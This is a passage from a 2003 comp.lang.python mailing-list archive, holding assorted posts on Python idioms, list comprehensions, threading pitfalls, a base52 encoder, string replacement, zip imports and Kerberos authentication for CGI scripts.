         # found it, do something, then ...
         break
else:
     # didn't find it (if you need this branch at all)

That's reasonable, I think, especially if you have a lot of patterns to test
against. The loop seems not as redundant as the if/elif/else chain above.

Oh-I-found-a-use-for-for-else-ly yours
  Stefan




From tjreedy at udel.edu  Tue Jan 21 07:54:03 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 21 Jan 2003 07:54:03 -0500
Subject: 1-line idiom to replace if blocks
References: <3e2cf624@post.usenet.com>
Message-ID: <A4qdnflOdM4P2LCjXTWcow@comcast.com>

"Jonathan P." <jbperez808 at yahoo.com> wrote in message
news:3e2cf624 at post.usenet.com...
> **** Post for FREE via your newsreader at post.usenet.com ****
>
> I hate code that takes up too many lines and
> have come up with the ff. idiom to replace
> many 4 line if statements:
>
> result=[value-if-false,value-if-true][condition]
>
> This idea could also be applied as a compact
> switch block replacement in certain cases.

If you google the newsgroup for 'conditional expression' you can find
dozens of posts on this topic, including several by me.
Terry J. Reedy

http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&group=comp.lang.pyt
hon





From peter at engcorp.com  Tue Jan 28 19:16:57 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Jan 2003 19:16:57 -0500
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043781593.6864.python-list@python.org> <mzCZ9.915$wd2.80392@newsread2.prod.itd.earthlink.net>
Message-ID: <3E371D79.EFC983A4@engcorp.com>

Brandon Van Every wrote:
> 
> Laura Creighton wrote:
> > My guess is 'never'.
> 
> That's an extreme viewpoint.
[...]
> Then don't interact with other people's code.  Polymorphize your own tree
[...]
> Then don't use other people's templates.
[...]
> Then don't use Borland products.  Granted I spend my time doing 3D graphics,
> I think, to answer the original poster's question honestly, you have to
[...]
[...]
> I can never take people seriously who say things like this.  You like ed
> because you've invested lotsa time in ed.  
[...]
> If you had said Emacs, I would take you half-seriously.  If you said you had
[...]
> Find a different job then.  Are you getting paid well for your C++
> headaches?  I wouldn't put up with it if it's as onerous as you make it
> sound.  Unless the money is really really good.

Heh heh.... it's generally a wise policy to read a newsgroup for a while
before your first post to it, to get to know the various people who are
regular
posters, and their styles and ideosyncracies...  ;-)

-Peter



From Mongryong at sympatico.ca  Sun Jan 26 10:35:06 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 26 Jan 2003 10:35:06 -0500
Subject: xlistdir -- an iterator version of os.listdir
In-Reply-To: <20030126051723.20234.qmail@admin.jdiworks.net>
References: <20030126051723.20234.qmail@admin.jdiworks.net>
Message-ID: <1043595307.1384.0.camel@refugeeMedia>

It would also be nice to be able to list files allow with a certain
pattern or suffix.

On Sun, 2003-01-26 at 00:17, Terrel Shumway wrote:
> xlistdir.xlistdir is an iterator version of os.listdir.
> 
> It is particularly useful if you have a directory with, for example, 
> 40,000 files, and you only want to look at the first 10.
> 
>   from xlistdir import xlistdir
>   x = xlistdir("directory-with-LOTS-of-files")
>   
>   for i in range(10):
>       print x[i] # or "x.next()"
> 
> 
> You might also use it to filter the list before allocating it:
> 
>   files_only = [ file for file in xlistdir(bigdir) \
> 	if os.path.isfile(os.path.join(bigdir,file)) ]
> 
>   
> Most of this code was cut and pasted from xreadlinesmodule.c and posixmodule.c
> in Python-2.2.2.tgz
> 
> This initial hack may not even compile on platforms without 
> opendir/readdir/closedir (e.g. mswin32, mswin16, OS/2) because I do 
> not have access to those platforms. 
> 
> It does include a unit test, and it does pass for me on Linux. 8-)
> 
> If you can build extension modules on MS_WIN32, MS_WIN16, or OS/2 (or others),
> please try this out.  If you can make it compile and pass the unit tests, 
> you will get a really cool function to use in your programs and share with 
> the rest of the python community 8-).
> 
> 
> Get the code from http://wxidle.sourceforge.net/projects/xlistdir/
> 
> -- Terrel
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list






From maxm at mxm.dk  Wed Jan 29 17:36:44 2003
From: maxm at mxm.dk (Max M)
Date: Wed, 29 Jan 2003 23:36:44 +0100
Subject: URLLIB2 
In-Reply-To: <FnVZ9.60428$YG2.1700846@twister1.libero.it>
References: <yiOZ9.59194$ZE.1647153@twister2.libero.it> <aUQZ9.47296$Hl6.6059165@news010.worldonline.dk> <FnVZ9.60428$YG2.1700846@twister1.libero.it>
Message-ID: <_FYZ9.47565$Hl6.6097192@news010.worldonline.dk>

Pigio? wrote:
> You have reason when you say that the url doesn't load in an ordinary
> browser but urllib2 doesn't return an error, it  block here and it doesn't
> return nothing.


What I was trying to say was the the url you wrote did not exist, and so 
could not be fetched.



-- 

hilsen/regards Max M Rasmussen, Denmark

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From gerrit at nl.linux.org  Mon Jan 20 11:43:06 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Mon, 20 Jan 2003 17:43:06 +0100
Subject: Import from zip file?
In-Reply-To: <19804fd8.0301200235.7febb837@posting.google.com>
References: <19804fd8.0301200235.7febb837@posting.google.com>
Message-ID: <20030120164306.GA2707@nl.linux.org>

Robert schreef op maandag 20 januari om 11:47:36 +0000:
> What is the easyiest way to import modules/module-trees from zip files (Python 2.2)?

In case you switch to python 2.3, you can use the zipimport module.
http://www.python.org/doc/2.3a1/whatsnew/node11.html
http://www.python.org/peps/pep-0273.html

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From hpk at trillke.net  Mon Jan 13 06:46:45 2003
From: hpk at trillke.net (holger krekel)
Date: Mon, 13 Jan 2003 12:46:45 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] MinimalPython project)
In-Reply-To: <3E222FC1.40908@tismer.com>; from tismer@tismer.com on Mon, Jan 13, 2003 at 04:17:21AM +0100
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <3E222FC1.40908@tismer.com>
Message-ID: <20030113124645.I1568@prim.han.de>

[Christian Tismer Mon, Jan 13, 2003 at 04:17:21AM +0100]
> Bengt Richter wrote:
> > At 03:39 2003-01-13 +0100, Christian Tismer wrote:
> > [...]
> > 
> >>At the same time, as much as possible should become
> >>pluggable. It will be possible to have MiniPy
> > 
> > [...]
> > 
> > Is "MiniPy" the official name ?
> 
> No.
> There is no official name, yet.

I suggest we use 'pypy' and/or 'Minimal Python' for 
the time before the sprint. 

On one of the sprint evenings we should discuss and 
decide (vote) on the eventual name. [1]

Without code you can't vote :-)

cheers,

    holger


[1] FWIW, Currently I think that i will propose   P
    (courtesy of Tim Churches). 




From peter at engcorp.com  Wed Jan 29 14:27:56 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 29 Jan 2003 14:27:56 -0500
Subject: Starting threads -- solved
References: <mailman.1043811831.15197.python-list@python.org>
	 <Pine.LNX.4.44.0301291530030.26166-100000@x.opf.slu.cz> <3E37F54D.D791A6B2@engcorp.com> <Pine.LNX.4.44.0301291655110.26166-100000@x.opf.slu.cz>
Message-ID: <3E382B3C.67CC056@engcorp.com>

Lukas Kubin wrote:
> 
> You are right. I did access the "comp" (containg hostname) variable
> globally instead of use the form "classname.variablename" or "self.comp".
> Yes, it's a beginners' fault. Don't laugh, please :) I'll do it no more
> (hope).

It might be a beginner's fault, but it's also an expert's fault.  The
only difference might be how often we make it, and how long it takes
to find.  Anyone who's written enough code with threads would agree
that they, you, and I will _all_ make the same mistake again, probably
several times. :-)

Note that globals and threads almost never mix, and even if you're
sick of hearing people talk about "never use globals", writing a lot
of threaded code is a good way to break you of the bad habit.
(By the way, even putting it in as a class variable would be a problem,
since both threads are instances of the same class, so from their
points of view that value is still a global.  Use the instance 
variable to avoid trouble.)

> Thank anybody for trying to help me and sorry I've took your time.

Hey, that's what we're here for!  Don't apologize.  If we didn't have
some strange defect in our personalities that made us want to help 
others, we wouldn't post... ;-)

-Peter



From Mongryong at sympatico.ca  Sun Jan 26 21:07:57 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 26 Jan 2003 21:07:57 -0500
Subject: Purpose of Python Type Checking?
Message-ID: <1043633277.2686.12.camel@refugeeMedia>

Why do people use type checking in Python?  

Yes, I know its to "ensure" that parameters are valid but doesn't that
defeat the whole purpose of one of Python's main feature? Polymorphism
and code reuse.  Who cares if a parameter is not of type(X), as long as
it has the methods and member variables necessary.  If the parameter is
missing stuff, then an exception is thrown.  

The reason I'm asking is because I don't use type checking at all but I
ses a lot of other code use it.  So, is there a good reason I should be
using it too?    








From max at alcyone.com  Fri Jan 24 19:15:27 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 24 Jan 2003 16:15:27 -0800
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2F9732.795D5FD3@alcyone.com> <fRWX9.8372$Sv3.804461@newsread1.prod.itd.earthlink.net> <3E308B05.913B1180@alcyone.com> <M87Y9.355$U27.35796@newsread2.prod.itd.earthlink.net> <3E311E54.B692895E@alcyone.com> <mailman.1043409344.28937.python-list@python.org> <3E312DA1.F706F43B@alcyone.com> <mailman.1043414864.11051.python-list@python.org>
Message-ID: <3E31D71F.77FDC514@alcyone.com>

Laura Creighton wrote:

> Then I don't understand the post you replied to.
> 
> Terry Hancock wrote:
> 
> > Yeah, maybe I should've mentioned that -- one might try to think of
> > these
> > numbers as being percentages of "all software development pages",
> > but of
> > course, they're not. It's just a percentage of the pages listed.  It
> > might
> > make more sense to scale relative to one representative member. But
> > which
> > one?
> 
> Terry Hancock has a problem.  He wants to get some sort of meaningful
> number out of the data, because he wants there to be some sort of
> relationship between pages listed and people who are using Python.
> There isn't any.

The problem is you're taking this fragment out of context.  Read further
back in the thread to the post of mine that Terry was responding to, and
then back to the post that I was responding to.  We were simply talking
about whether to represent these arbitrary figures (which we explicitly
disclaimed have little meaning) as a percentage of the total, or whether
they should be normalized to a single figure.

The difference is that we _know_ that the numbers don't really mean
anything.  The original Web site we were talking about was presenting
similar numbers, obtained through unspecified means, and _was_ claiming
that they meant something.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I grow with each breath that I take / I cherish my freedom
\__/ Chante Moore
    ZOE / http://www.alcyone.com/pyos/zoe/
 A simple Python OpenGL rendering engine.



From bokr at oz.net  Mon Jan  6 17:18:27 2003
From: bokr at oz.net (Bengt Richter)
Date: 6 Jan 2003 22:18:27 GMT
Subject: Comments on base52 encoder/decoder ?
Message-ID: <avcvbj$imq$0@216.39.172.122>

In a recent thread (Re: Simple encryption proposal. Comments ?)
I described a base52 encoding that I had used previously to encode binary
in pure alpha [A-Za-z]* using three characters to encode arbitrary length
binary byte strings.

Paul Rubin responded with a Python implementation. I thanked him and,
suggested a minor python change for a minor speed improvement, and he
said he wasn't really trying for speed and that a serious implementation
if done should probably be done in C in the binascii module.

I took binascii.c and made a test module that had the functionality
described (though differing from Paul's implementation in minor ways
(ordering of code alphabet, handling of odd byte). That's the background.

Since then, I got to thinking that there were a _lot_ of spare codes
in the base52 space, and I added some optional parameters to take
advantage.

What it boils down to is that there are enough codes for two sets
of encodings plus 9023 special codes. You can think of it as a single
bit attribute for arbitrary subsequences of binary bytes with no extra
encoding characters vs doing them separately as before, and 9023 integer
codes can be inserted also at a cost of 3 code characters apiece. You
can think of them as available escape codes.

An example follows, with some explanation along the way.
First we'll jump ahead ;-)

 >>> from base52x import a2b_base52 as a2b
 >>> from base52x import b2a_base52 as b2a

 >>> b2a('plain')+b2a('meta',1)+b2a('tagged',123)
 'waoKNdJzCietjNNwkpLAxJpDJfI'

The second (code) argument can be 0-9025, with 0 being for default base52 encoding.
A code of 1 is associated with every character in the 'meta' string, and a code of
2 to 9025 becomes a special 3-character prefixed code to the associated string, which
is itself encoded with code 0.

Decoding also has an otpional 'mode' parameter. The default of mode 0 expects to
decode a default-encoded string, and returns just the string. Mode 3, however, returns
a list with strings prefixed by encoding codes:

 >>> a2b('waoKNdJzCietjNNwkpLAxJpDJfI',3)
 [0, 'plain', 1, 'meta', 123, 0, 'tagged']

Modes 1 and two return lists of either just
code 0 or code 1 encoded strings and leaves out special codes.

 >>> a2b('waoKNdJzCietjNNwkpLAxJpDJfI',1)
 ['plain', 'tagged']

 >>> a2b('waoKNdJzCietjNNwkpLAxJpDJfI',2)
 ['meta']

but:

 >>> a2b('waoKNdJzCietjNNwkpLAxJpDJfI',0)
 Traceback (most recent call last):
   File "<stdin>", line 1, in ?
 base52x.Error: Unexpected metadata in mode 0 base52x string

Mode 0 insists on pure code 0 encoding. We can grab the first part
of the above, which is mode 0:

 >>> a2b('waoKNdJzC',0)
 'plain'

So that's basically it. Of course you can substitute arbitrary binary
for 'plain' 'meta' and 'tagged' above, and 2-9025 in place of the 123,
and you can concatenate them arbitrarily, and also insert arbitrary
non-alphabet characters in the code for spaces and newlines etc. They
will be ignored.

Any ideas for uses? E.g., I could see packing .gif file names in the meta part
and the binary in the plain part, or encoding mixed unicode and other
kinds of strings and stuff by keeping type info in metadata prefixes.

If this sounds useful, I'm willing to make a version to incorporate into
binascii. I think I'll add an optional line length parameter for b2a, defaulting
to 78 for insertion of \n at those points. Zero will mean no inserted linefeeds.

BTW, the above is now in C.

Regards,
Bengt Richter



From andersjm at dancontrol.dk  Thu Jan  2 08:34:49 2003
From: andersjm at dancontrol.dk (Anders J. Munch)
Date: Thu, 2 Jan 2003 14:34:49 +0100
Subject: Sorting out sort (Re: Python vs. Ruby)
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net> <v14ch7mkp0vu55@news.supernews.com> <mailman.1041382562.17669.python-list@python.org> <v15qgkgpq72tbf@news.supernews.com> <3759308d.0301011401.4b32deba@posting.google.com>
Message-ID: <3e143ffa$0$71611$edfadb0f@dread11.news.tele.dk>

"Rob Renaud" <rpgnmets at aol.com> wrote in message
news:3759308d.0301011401.4b32deba at posting.google.com...
> <lot snipped>
> "John Roth" <johnroth at ameritech.net> wrote in message
> > Whether append() returns a *new* object or not is irrelevant to
> > my arguement. The fact that it returns None is the wart.
> >
> > John Roth
>
> It's consistant, not a wart from my perspective.  If an object is
> modified, it is not returned.
>
> For every part of the (admittedly small) python library I know, that
> is the case.  Returning None is a hint that the object is modified.
>
> So then the question becomes, why don't append(), sort(), reverse()
> return a new list and not modify the original?  Are mutable objects
> themselves a wart on the langauge?

As others have answered, for performance reasons.  All in all, the
design choices for list's sort method make perfect sense.

I do miss a true functional sort though.  More often than not,
performance is not that critical, and a functional sort would allow
simpler, clearer code.

Fortunately it's easy to write one yourself:

def sort(sequence, cmpfunc=None):
    """sort a sequence, returning a new list; if given, cmpfunc(x,y) -> -1, 0,
1"""
    sorted = list(sequence)
    if cmpfunc is None:
        sorted.sort()
    else:
        sorted.sort(cmpfunc)
    return sorted


How about adding this to the library somewhere?

my-preference-would-be-as-a-builtin-ly y'rs, Anders





From nospam at bigfoot.com  Tue Jan 14 17:42:20 2003
From: nospam at bigfoot.com (Gillou)
Date: Tue, 14 Jan 2003 23:42:20 +0100
Subject: Baliser un texte en Python
References: <18f9f477.0301140735.304887da@posting.google.com>
Message-ID: <b022ub$2oea$1@norfair.nerim.net>

"Natacha" <nbodineau at club-internet.fr> a ?crit dans le message de news:
18f9f477.0301140735.304887da at posting.google.com...
> bonjour,
>
> nous aimerions savoir si Python peut baliser un texte(format .txt) en
> format XML ou HTML.
> Quelles sont les fonctions ? utiliser.
> Merci de nous donner un exemple ou des liens de sites internet qui
> peuvent nous aider.
>
> Merci d'avance

Hi Natacha,

You should post in English here.
If you can't, post this to fr.comp.lang.python.
And explain what are the parsing/splitting rules of your text files.
I think you should consider to learn what you can do with the "re" package
that provides the main utilities of most parsers.

Explique d'abord le format de ton fichier texte et les r?gles de d?coupage
d'icelui (transformer le texte en objets associ?s entre eux) qu'on soit ?
m?me de te donner les meilleures pistes.
Apprends le package "re" (expressions r?guli?res) qui fournit les primitives
principales utilis?es dans un parser (m'?tonnerait que tu r?ussisses ? t'en
passer)

Cheers

--Gilles






From peter at engcorp.com  Thu Jan 23 21:21:44 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 23 Jan 2003 21:21:44 -0500
Subject: XSL-FO? Python FOP?
References: <mailman.1043284300.28611.python-list@python.org> <3E2F5EED.44FE643F@engcorp.com> <slrn.pl.b3091u.jd.jarek@kotek.home>
Message-ID: <3E30A338.5AD3A95A@engcorp.com>

Jarek Zgoda wrote:
> 
> Dnia Wed, 22 Jan 2003 22:18:05 -0500 piszesz:
> 
> >> Is there a XSL-FO library for Python yet (ie. like  Apache's FOP for
> >> Java)?
> >
> > There is definitely nothing anywhere near as advanced as FOP,
> > as I've been looking for it.
> 
> You might want to take a closer look at ReportLab Toolkit. While this
> tool is not XML/XSL based, it provides roughly the same functionality.

Yes, I did mention ReportLab in my post that you quoted, down 
near the bottom where it's hard to see...

Not supporting XML pretty much entirely defeats the purpose, for me,
but no doubt for others it will have lots of benefits.

I may get around to writing some kind of DocBook-to-ReportLab 
tool at some point, but for now FOP is just barely adequate,
almost, sort of...  well, it's a hell of a lot less work
than writing a DocBook-to-ReportLab converter right now. ;-)

-Peter



From just at xs4all.nl  Fri Jan 10 06:39:06 2003
From: just at xs4all.nl (Just)
Date: Fri, 10 Jan 2003 12:39:06 +0100
Subject: Having a __stdlib__ namespace?
References: <avl3bi$v9i$1@agate.berkeley.edu> <avliio$beo$0@216.39.172.122> <avlunc$15h5$1@agate.berkeley.edu> <mailman.1042189529.2441.python-list@python.org>
Message-ID: <just-CBB349.12390610012003@news1.news.xs4all.nl>

In article <mailman.1042189529.2441.python-list at python.org>,
 Lulu of the Lotus-Eaters <mertz at gnosis.cx> wrote:

> It doesn't come "out of the box" this way, but you could easily create
> your own directory on the import path that was a link to the actual
> library path.  And you could name it something like 'std' or '__std__'.
> Once such a link was added, the OP's prefered import form will work.

Or you can add a regular dir named "std" somewhere, which contains an 
__init__.py like this:

__path__ = [<path-to-std-lib>]

Just



From wurmy at earthlink.net  Sun Jan 12 13:04:20 2003
From: wurmy at earthlink.net (Hans Nowak)
Date: Sun, 12 Jan 2003 18:04:20 GMT
Subject: Performance penalty for using classes?
References: <33803989.0301120004.76e09b9a@posting.google.com>
Message-ID: <3E21AEF8.8030602@earthlink.net>

Miki Tebeka wrote:

> I need my M.Sc. to run fast but I don't want to recode it in C.
> I've noticed that using classes can cause my code to run about 30%
> slower.
> (See the below tests)
> 
> --- class_test.py ---
> #!/usr/bin/env python
> import random
> 
> class Dot:
>     def __init__(self, x, y):
>         self._x = x
>         self._y = y
> 
>     def x(self):
>         return self._x
> 
>     def set_x(self, x):
>         self._x = x
> 
>     def y(self):
>         return self._y
> 
>     def set_y(self, y):
>         self._y = y

These four methods serve no purpose and only incur overhead. Replace this with:

class Dot:
     def __init__(self, x, y):
         self.x = x
         self.y = y

Now, replace calls like "d.x()" with "d.x", and "d.set_x(z)" with "d.x = z".

> def test_class(iterations):
>     while iterations > 0:
>         d = Dot(random.random(), random.random())
>         x, y = d.x(), d.y()
>         d.set_x(y)
>         d.set_y(x)

It looks like this can be replaced with:

   d.x, d.y = d.y, d.x

No need for temporary variables and redundant method calls. :)

Now try running this code again. On my box, they both time at around 2.8s.

Of course, after this rewrite, you can still use Psyco, Python 2.3a1, and a 
faster computer. ;-)

HTH,

-- 
Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA=='))
# decode for email address ;-)
The Pythonic Quarter:: http://www.awaretek.com/nowak/
Kaa:: http://www.awaretek.com/nowak/kaa.html




From judoscript at hotmail.com  Tue Jan  7 22:50:31 2003
From: judoscript at hotmail.com (James Huang)
Date: 7 Jan 2003 19:50:31 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <x74r8lynz2.fsf@guru.mired.org>
Message-ID: <52719db8.0301071950.33e1917e@posting.google.com>

> > Have you ever thought about scripting more areas, such
> > as SQL, XML, EJB, SGML, HTTP, E-mail and GUI, the way you
> > script OS commands, all at once? Think about it!
> 
> I have. I've written in it. It's called Rexx. Where JudoScript is as
> much a multi-target scripting langauge as this article is novel, Rexx
> is the real McCoy.
> 
> And I'd still rather write Python.
> 
>         <mike

Admittedly I'm no Rexx person.
Please see the examples in other replies. Thanks.



From bazell at comcast.net  Thu Jan  2 16:05:12 2003
From: bazell at comcast.net (Dave Bazell)
Date: Thu, 2 Jan 2003 16:05:12 -0500
Subject: Executing a modified function
Message-ID: <r0idna5vDeAYNImjXTWcqg@comcast.com>

If I enter python and run a funtion, then I modify it and try to run it
again, it appears I execute the old version.  Is there a way to force the
new version to be executed in this situation, without leaving python and
starting again?

Dave





From lac at strakt.com  Wed Jan 29 14:16:03 2003
From: lac at strakt.com (Laura Creighton)
Date: Wed, 29 Jan 2003 20:16:03 +0100
Subject: PEP 304 - Controlling generation of bytecode files 
In-Reply-To: Message from Skip Montanaro <skip@pobox.com> 
   of "Wed, 29 Jan 2003 13:18:51 CST." <15928.10523.841573.180352@montanaro.dyndns.org> 
References: <15925.46655.439046.717944@montanaro.dyndns.org> <200301281127.h0SBRHjL020551@ratthing-b246.strakt.com> <15928.10523.841573.180352@montanaro.dyndns.org> 
Message-ID: <200301291916.h0TJG3jL028741@ratthing-b246.strakt.com>

> I don't think that's within the scope of this PEP.  When creating a tarfile
> distribution why not just give an excludes argument to (at least GNU) tar
> telling it to exclude .pyc files?
> 
> Skip

Habbit.  Would save on the 'somebody ran this program while I was making
a tar' problem as well. 

Laura




From donn at u.washington.edu  Tue Jan 28 20:03:06 2003
From: donn at u.washington.edu (Donn Cave)
Date: 29 Jan 2003 01:03:06 GMT
Subject: Getting a kerberos ticket
References: <1043800103.831567@bats.mcs.vuw.ac.nz>
Message-ID: <b1798a$28j4$1@nntp6.u.washington.edu>

Quoth Mike McGavin <jester at NOSPAM.mcsnospam.vuw.netNOSPAM.nz>:
| Is anyone able to direct me to a python module for interacting with 
| kerberos 5? I have a situation where I need to connect to a postgresql 
| database using kerberos authentication from a python CGI script.
|
| When connecting locally and interactively I can run kinit beforehand to 
| authenticate and get the ticket and so on, so there haven't been any 
| problems. (I've been using PyGreSQL to connect to postgres.) It's more 
| awkward with a CGI script, though, because it's running in an 
| independent environment on a web server that I don't have much access to 
| besides running CGI scripts. There's no way that I can run kinit without 
| an ugly and inefficient hack that I'd prefer to avoid.
|
| I think what I need to do is get a ticket issued whenever one is 
| needed... preferably not every time the script loads, although that 
| would be a hack I could live with for now.
|
| Does anyone have any experience with this, and possibly some sample code?

I gather that the ID (principal) is always the same here, you're not
getting it from the web form.

It's too bad you don't have full support on the httpd host.  The
problem that I'm seeing with any approach that would do this
authentication straight from the CGI program, is that this will
tend to authenticate the user ID the program runs under, not just
the CGI process.  You'll acquire some credentials, in a file, and
that file and those credentials will be available to any CGI process
on the host, assuming they all run as "nobody".

So you need your own ID, that you can entrust with these credentials
because you know it isn't working for anyone else, and a setuid program
that gets the credentials and connects to the database.  The setuid
program will have to be written in C, though it can invoke a Python
program if it's careful.

Then you need a keytab file with the principal's password, with access
restricted to your application ID (and root of course - there's no way
you can do this without giving the web host's admins access to your
database.)  That can be used periodically to update credentials, via
kinit in a cron job, or every time the request runs.

A Python module for Kerberos5 is feasible, but seems like it might be
the least of your worries (maybe not even worth the installation and
maintenance of this C module.)

	Donn Cave, donn at u.washington.edu



From max at alcyone.com  Thu Jan 23 02:18:10 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 22 Jan 2003 23:18:10 -0800
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com>
	 <6e07b825.0301222200.522fbbde@posting.google.com> <mailman.1043305181.1360.python-list@python.org>
Message-ID: <3E2F9732.795D5FD3@alcyone.com>

Lulu of the Lotus-Eaters wrote:

> OK... my totally scientific, irrefutable proof of the relative... umm,
> usage, or usefulness, or popularity, or buzz, or hype, or jobs, or
> LOC,
> or something... of different programming languages: ...

See, but that's the whole point.  You define a metric, and say how you
got the metric.  None of us really know what the metric means in terms
of the _real_ popularity, usefulness, etc. (throw in any other words you
choose to here), but we know how you arrived at your numbers and can
move on from there.

Presumably this took you a few minutes at the most (the only thing I
think would be missing for a coup de grace would be normalizing the
figures so they're easier to read and interpret) is arguably far more
valuable than the original page we were talking about, which 1. uses an
unspecified means to collect its rating, 2. does not demonstrate how
that rating means anything useful, 3. uses that rating and changes in it
over time to make wild extrapolations ("C# will be the most popular
language in two years"), and 4. makes a dividing line between "good"
languages and "bad" languages based on an arbitrary cutoff of that
rating.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Men play the game; women know the score.
\__/ Roger Woddis
    Bosskey.net / http://www.bosskey.net/
 A personal guide to online multiplayer first person shooters.



From per at net-es.dk  Tue Jan  7 03:58:58 2003
From: per at net-es.dk (Per Jensen)
Date: Tue, 07 Jan 2003 09:58:58 +0100
Subject: string.replace() question
Message-ID: <pan.2003.01.07.08.58.58.277802.1286@net-es.dk>

The Python doc on string.replace says this:

replace(str, old, new[, maxsplit])
"""Return a copy of string str with all occurrences of substring old
replaced by new. If the optional argument maxsplit is given,
the first maxsplit occurrences are replaced."""


I must have a blind spot, but the method doesn't seem to work quite like
that. Example:

bash-2.05$ python
Python 2.2.1 (#1, Sep 24 2002, 21:50:51)
[GCC 2.95.3 20010315 (SuSE)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import string
>>> string.replace("C:\py21\gallery\resized", "\\", "/")
'C:/py21/gallery\resized'
>>>

Notice that the last "\" is not replaced with a "/"

My question is why ?

/Per


-- 
----------------------------------------------------------------------
Per Jensen        http://www.net-es.dk/~pj         Linux rules! 
----------------------------------------------------------------------



From lac at strakt.com  Fri Jan 24 21:26:03 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 25 Jan 2003 03:26:03 +0100
Subject: killing thread ? 
In-Reply-To: Message from =?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?= <martin@v.loewis.de> 
   of "Sat, 25 Jan 2003 03:20:02 +0100." <b0ss8g$20c$05$2@news.t-online.com> 
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rukc$ukidj$1@hades.rz.uni-sb.de> <b0ss8g$20c$05$2@news.t-online.com> 
Message-ID: <200301250226.h0P2Q3jL031241@ratthing-b246.strakt.com>

> Uwe Schmitt wrote:
> > so, what about a new PEP : extend the exec method by limiting
> > the execution time and memory usage ... 
> 
> That PEP would have to come with a suggested implementation strategy.
> 
> Regards,
> Martin
> 

Question -- have we already determined that Uwe Schmitt cannot 
use a fork like he seems to want to?  What system does this have to
run on?

Laura Creighton




From adalke at mindspring.com  Thu Jan 16 13:23:32 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 16 Jan 2003 11:23:32 -0700
Subject: comprehensions was Re: Switch statements again
In-Reply-To: <mailman.1042735052.21676.python-list@python.org>
References: <1042670767.3e25e4afa12e5@www.progoth.com> <mailman.1042672181.22990.python-list@python.org> <a8b7f07a.0301160724.424a1025@posting.google.com> <200301160736.18786.shalehperry@attbi.com> <mailman.1042735052.21676.python-list@python.org>
Message-ID: <b06tav$236$1@slb0.atl.mindspring.net>

Dave Brueck wrote:
> But why single out comprehensions? Isn't this true for _any_ feature/idiom
> you're not used to? I find comprehensions to be very readable, so I use
> them a lot, so I find them more readable, but IMO they were also pretty
> readable from the get-go.
> 
> In the specific case of comprehensions, I always have to "slow down" when
> reading code that instead one of the builtin functions (e.g. map, filter)
> because to me they are far less clear. I know I'm comparing syntax to a
> builtin, but given a sequence, S, the code:
> 
> [x for x in S if x > 5]
> 
> always makes far more sense to me than:
> 
> filter(lambda x: x>5, S)

I, like Shaleh, once thought that list comprehensions would be
confusing.  I, like Shaleh, changed my mind after using it for a bit.

The reason is that I wasn' sure if my target users (computational
chemists and computational biologists) could understand what

names = [x.name for x in sequences if len(x) > 5]

would do.  You compare that to filter/lambda, but the actual
comparison would be to

names = []
for x in sequences:
   if len(x) > 5:
     names.append(x)

which is easy for even someone without Python experience to
understand.

Unfortunately, I haven't worked with beginning Python programmers
since list comprehensions were added, so I haven't been able
to observe their reaction.  However, for intermediate programmers
and for me, it's not been a problem.  And it replaced code I was
writing like

def get_list_attribute(list, name):
   data = []
   for x in list:
     data.append(getattr(x, name))
   return data
...
names = get_list_attribute(list, "name")
...
charges = get_list_attribute(list, "charge")

so ended up making the code easier.

> FWIW, I found simple list comprehensions to be one of the least taxing
> Pythonisms to get used to - IMO the syntax maps very obviously to the
> behavior.

It wasn't as obvious to everyone.

					Andrew
					dalke at dalkescientific.com





From LogiplexSoftware at earthlink.net  Wed Jan  8 13:37:39 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 08 Jan 2003 10:37:39 -0800
Subject: no side effects
In-Reply-To: <2259b0e2.0301080510.3b2e5d4f@posting.google.com>
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com>
Message-ID: <1042051058.1368.1868.camel@software1.logiplex.internal>

On Wed, 2003-01-08 at 05:10, Michele Simionato wrote:
> I was surprised by the following code:
> 
> >>> for i in [1,2,3]:
> ...     print i,
